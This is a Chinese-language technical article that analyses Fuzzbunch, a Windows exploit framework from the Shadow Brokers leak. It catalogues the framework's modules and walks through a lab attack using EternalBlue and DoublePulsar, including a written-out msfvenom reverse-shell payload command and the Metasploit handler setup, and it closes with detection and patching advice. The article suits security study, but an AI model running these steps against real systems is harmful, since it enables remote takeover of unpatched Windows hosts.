Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例
1 整体目录介绍
解压EQGRP_Lost_in_Translation-master.zip
文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:
1. windows
目录针对Windows操作系统的利用工具和相关攻击代码;
2. swift
目录中是包含入侵swift银行系统的操作记录等相关证据;
3. oddjob
目录是后门Rootkit等相关文档;
1.1 框架介绍
我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:
1. fb.py
2. start_lp.py
1.2 FB模块介绍
fuzzbunch
功能类似于metasploit
,功能较为自动化。fuzzbunch
下载地址https://github.com/fuzzbunch/fuzzbunch。fb.py
即 fuzzbunch
框架的入口文件,fb.py
用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch
支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。
fuzzbunch
框架除了命令解析,日志,IO等常规功能外,fuzzbunch
使用的xml配置文件十分详细,可以配置payload
的各个部分。Fuzzbunch
会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch
代码中全称为EXPLOITMANAGER,拥有跨平台能力。
1.3 start模块介绍
start_lp.py
会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6
还原源代码。如下图:
2 fuzzbunch的插件列表和影响的服务与版本
2.1 ImplantConfig 植入工具模块
- Darkpulsar 1.1.0 操控NTLM或 加载shellcode
- Mofconfig 1.0.0
2.2 ListeningPost
- 内容未公开
2.3.Exploit 漏洞利用模块
- Easybee 1.0.1Mdaemon漏洞
- Easypi 3.1.0 IBM Lotus漏洞
- Eclipsedwing 1.5.2MS08–067
- Educatedscholar 1.0.0MS09–050
- Emeraldthread 3.0.0MS10–061
- Emphasismine 3.4.0IBM Lotus Domino漏洞
- Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞
- Erraticgopher 1.0.1SMB漏洞
- Eskimoroll 1.1.1MS14–068
- Esteemaudit 2.1.0RDP漏洞
- Eternalromance 1.4.0SMBv1 漏洞
- Eternalsynergy 1.0.1SMB漏洞
- Ewokfrenzy 2.0.0Domino漏洞
- Explodingcan 2.0.2IIS漏洞利用工具
- Zippybeer 1.0.2 域控漏洞
2.4 Touch 信息探测、漏洞测试模块
- Architouch 1.0.0
- Domaintouch 1.1.1
- Eclipsedwingtouch 1.0.4
- Educatedscholartouch 1.0.0
- Emeraldthreadtouch 1.0.0
- Erraticgophertouch 1.0.1
- Esteemaudittouch 2.1.0
- Explodingcantouch 1.2.1
- Iistouch 1.2.2
- Namedpipetouch 2.0.0
- Printjobdelete 1.0.0
- Printjoblist 1.0.0
- Rpctouch 2.1.0
- Smbtouch 1.1.1
- Webadmintouch 1.0.1
- Worldclienttouch 1.0.1
2.5 Payload Payload模块
- Doublepulsar 1.3.1支持 DLL 后门 和 shellcode
- Jobadd 1.1.1
- Jobdelete 1.1.1
- Joblist 1.1.1
- Pcdlllauncher 2.3.1
- Processlist 1.1.1
- Regdelete 1.1.1
- Regenum 1.1.1
- Regread 1.1.1
- Regwrite 1.1.1
- Rpcproxy 1.0.1
- Smbdelete 1.1.1
- Smblist 1.1.1
- Smbread 1.1.1
- Smbwrite 1.1.1
2.6 Special 专用模块
- Eternalblue 2.2.0 SMB漏洞 MS17–010
- Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147
检测与建议
- 通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar
- ms17-017 检查 ,可通过metasploit代码:
smb_ms17_010.rb
- Microsoft的影响评价:Protecting customers and evaluating risk
- ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical
3 fuzzbunch实验环境介绍
3.1 靶机环境介绍:
1. Fuzzbunch运行环境,操作系统:Windows 7;
2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;
3.1 控制端系统,操作系统:Kali1.1;
3.2 漏洞利用流程,以Eternalblue
举例:
1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:
2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:
3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:
4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:
5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:
6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:
7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:
8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:
9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:
10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:
11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:
12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:
13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:
14. 在kali进行反向TCP监听的配置,如下图:
- 命令:use exploit/multi/handler,
- payload:windows/meterpreter/reverse_tcp
15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:
16. 配置注入的dll的程序,我们选择explorer.exe。如下图:
17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:
18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:
19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:
20. 运行shell,执行whoami指令。如下图:
4 总结
从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:
- 升级系统补丁,确保补丁更新到最新版本。
- 关闭没有补丁的服务
- 使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。